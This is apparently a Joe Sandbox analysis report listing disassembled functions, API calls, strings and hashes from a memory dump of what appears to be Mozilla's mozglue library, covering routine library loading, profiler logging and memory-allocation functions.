Instruction Fuzzy Hash: C811C4B19042156BE710AF7A9C44BABBEE8EF46354F044439F848E7300E7709850C7F6

Function 6C661FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C661FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C661FFD
__Init_thread_footer.LIBCMT ref: 6C662011
FreeLibrary.KERNEL32 ref: 6C662059

Strings

CoCreateInstance, xrefs: 6C661FF7
combase.dll, xrefs: 6C661FD9

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 9276836da43abd49761e2cc01e4bc187bf8a0a87d9952ce7f783d7e40b5f3dcd
Instruction ID: 2840f0e83cf32e1256705947131910d522cbb3e7114f0a2544195fc75f5e4389
Opcode Fuzzy Hash: 9276836da43abd49761e2cc01e4bc187bf8a0a87d9952ce7f783d7e40b5f3dcd
Instruction Fuzzy Hash: 9A115E75201205AFDF10CF57C88CE963B79EB9A359F008029FD0592A40D731B861DFAE

Function 6C660EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C68D9F0,00000000), ref: 6C660F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C660F3C
__Init_thread_footer.LIBCMT ref: 6C660F50
FreeLibrary.KERNEL32(?,6C68D9F0,00000000), ref: 6C660F86

Strings

CoInitializeEx, xrefs: 6C660F36
combase.dll, xrefs: 6C660F18

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 3aea649bdf82269b74aab9dc918a159452dd4dc8024e20fc0460376b7e1b97a9
Instruction ID: 3142b6849d6ec6b95381f9596ef0e0d97da1d837e232cb8c17506ce709f15651
Opcode Fuzzy Hash: 3aea649bdf82269b74aab9dc918a159452dd4dc8024e20fc0460376b7e1b97a9
Instruction Fuzzy Hash: F311C6743152419BDF10CF57C988A493774E79B325F004629ED0583B41D772B401CA5F

Function 6C69F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F561

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F585
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C69F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C69F3A8
[I %d/%d] profiler_resume, xrefs: 6C69F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C69F56A

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction ID: c3c579bf121b4f29216cc944803579b568ea5ae6b2b9047ff900d25c0825af38
Opcode Fuzzy Hash: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction Fuzzy Hash: 82F0B4752002059FDB006F669C8895E77BDEFCA29EF010415FA0583706CF31A801876E

Function 6C660E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C660DF8), ref: 6C660E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C660EA1
__Init_thread_footer.LIBCMT ref: 6C660EB5
FreeLibrary.KERNEL32 ref: 6C660EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C660E9B
kernel32.dll, xrefs: 6C660E7D

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: e11fd40302de7fece80d3faaaf52c34881f3f9f852b453f3802d9b70b70de60d
Instruction ID: 04721a74647996172587f100570ada726f5cd43541baddcb8b94d007b7167caf
Opcode Fuzzy Hash: e11fd40302de7fece80d3faaaf52c34881f3f9f852b453f3802d9b70b70de60d
Instruction Fuzzy Hash: 720146747003928BDF008FABEA94BE233B5E746759F104525EA0182F84DB74B406CA1F

Function 6C69F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C69F598), ref: 6C69F621

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F637
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F645
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C69F62A

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: ac30b7a3da0f63cb2ecde626f544fcda8337d725f7d8c642dc04f256e4dc61ae
Instruction ID: 0ca6b029334713368cae37ce8458285ea3134e2d024130434b58c9ec30fc0ab5
Opcode Fuzzy Hash: ac30b7a3da0f63cb2ecde626f544fcda8337d725f7d8c642dc04f256e4dc61ae
Instruction Fuzzy Hash: FFF05475200205AFDF006F668C8895A777DEFCA29DF150415FA0583746DB756806876E

Function 6C6905F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C68CFAE,?,?,?,6C6531A7), ref: 6C6905FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C68CFAE,?,?,?,6C6531A7), ref: 6C690616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C6531A7), ref: 6C69061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C6531A7), ref: 6C690627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C69061B, 6C690625
<jemalloc>, xrefs: 6C6905FA, 6C69060F

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction ID: 48e1536f2f0669c544160619b682af56469d35fc0a8b4f871b052f5e726b8a34
Opcode Fuzzy Hash: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction Fuzzy Hash: 69E08CE2A0101037F6142256BC86DBB761CDBC6134F080039FE0E83341E94ABD1A51FB

Function 6C6605F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction ID: 5d20436572da2bca74fa40327ce16ae1097bfe10773e91a6ef8623a71e3834a3
Opcode Fuzzy Hash: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction Fuzzy Hash: 8AA15AB0A016458FDB24CF2AC594A99FBF1BF49304F44866ED44A97B00E731BA85CF99

Function 6C6B14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6B14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6B14E2
GetCurrentThreadId.KERNEL32 ref: 6C6B1546
InitializeConditionVariable.KERNEL32(?), ref: 6C6B15BA
free.MOZGLUE(?), ref: 6C6B16B4

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction ID: aba4de780e88ec0fbd8ae92ed5aa9381c591fd8fdf4d159ca99d83c8d4769e11
Opcode Fuzzy Hash: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction Fuzzy Hash: 2361F572A007009BDB118F25C880BDEB7B5BF8A308F04851DED8A67711EB31E955CB99

Function 6C6A9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6A9FDB
free.MOZGLUE(?,?), ref: 6C6A9FF0
free.MOZGLUE(?,?), ref: 6C6AA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6AA0BE
free.MOZGLUE(?,?), ref: 6C6AA0D5
free.MOZGLUE(?,?), ref: 6C6AA0EB

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 011bea3d5f5013af116d54e9a153bdfc4a25425e751af60d67e69e5ba7e6a634
Instruction ID: d0e3571c2bd200eb6f3ca1635352a3365f6f14c2e9d20bc6a0fda8586db42384
Opcode Fuzzy Hash: 011bea3d5f5013af116d54e9a153bdfc4a25425e751af60d67e69e5ba7e6a634
Instruction Fuzzy Hash: E161AF754086019FC711CF58C48059AB3F5FF89328F54866EE8999B702EB32E987CBD5

Function 6C6ADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6ADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C6AD38A,?), ref: 6C6ADC6F
free.MOZGLUE(?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C6AD38A,?), ref: 6C6ADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C6AD38A,?), ref: 6C6ADD4A

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction ID: bcadd9162a49f29ceb0e17f71bb7541758fe66ea6d43d186fbb7bff36c009d76
Opcode Fuzzy Hash: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction Fuzzy Hash: 24416BB5A00605DFCB00CF99C88099AB7F5FF89314B654569DE46ABB11D771FC02CB98

Function 6C68F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C68F480

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

CloseHandle.KERNEL32(00000000), ref: 6C68F555

Part of subcall function 6C6614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C661248,6C661248,?), ref: 6C6614C9
Part of subcall function 6C6614B0: memcpy.VCRUNTIME140(?,6C661248,00000000,?,6C661248,?), ref: 6C6614EF

Part of subcall function 6C65EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C65EEE3

CreateFileW.KERNEL32 ref: 6C68F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C68F523

Strings

\oleacc.dll, xrefs: 6C68F4CB

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction ID: 0d1bc788e9566150df40bd87b32a434fe4a46e126bf0021ca286a0276173a7db
Opcode Fuzzy Hash: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction Fuzzy Hash: 4541BF706097109FE720DF29D884A9BB7F4AF95318F504A1CF59083690EB70E949CBAB

Function 6C69E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69E04F

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C69E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C69E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C69E057

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 2b166ee85250f4a41d121863989f427877e86856b7d0ec1711ab51fac51d1b52
Instruction ID: 6776e6135ab9b708d99987a322afce9bb1f9f19acc909b9fde3328e2bb01d191
Opcode Fuzzy Hash: 2b166ee85250f4a41d121863989f427877e86856b7d0ec1711ab51fac51d1b52
Instruction Fuzzy Hash: E721B074A0010A9FDF009F65D898AAEB7B5BF8A308F140429E90A97740DB31A919C7E9

Function 6C6B74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C6B7526
__Init_thread_footer.LIBCMT ref: 6C6B7566
__Init_thread_footer.LIBCMT ref: 6C6B7597

Strings

UnmapViewOfFile2, xrefs: 6C6B7552
kernel32.dll, xrefs: 6C6B7557

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction ID: 70c3812f21271e644d1c9f7080f2d601ef814584af8e9d41c780a69cb21825ee
Opcode Fuzzy Hash: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction Fuzzy Hash: 1621373270150197CB248FEAD894ED973B5EB87725F054529E80167B80DB31B9118BBF

Function 6C6BA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DF770,-00000001,?,6C6CE330,?,6C67BDF7), ref: 6C6BA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C67BDF7), ref: 6C6BA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C67BDF7), ref: 6C6BA7E4
LeaveCriticalSection.KERNEL32(6C6DF770), ref: 6C6BA80A

Strings

accelerator.dll, xrefs: 6C6BA7BF

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 5e5e9ad4ff32a23f1ea511f79991366088f343aeb495c83e97c7ab768b0cbc04
Instruction ID: 84db9bc2db7f189236c13609ddf8cf80400de71c38a9021371926e3afc495937
Opcode Fuzzy Hash: 5e5e9ad4ff32a23f1ea511f79991366088f343aeb495c83e97c7ab768b0cbc04
Instruction Fuzzy Hash: 8F01ADB07143049FDF04DF5AE8C4C9177B8FB8A355B05806AE90A8B712DB70A810CFAA

Function 6C6B75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6B748B,?), ref: 6C6B75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6B75D7
FreeLibrary.KERNEL32(?,6C6B748B,?), ref: 6C6B75EC

Strings

ntdll.dll, xrefs: 6C6B75B3
RtlNtStatusToDosError, xrefs: 6C6B75D1

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
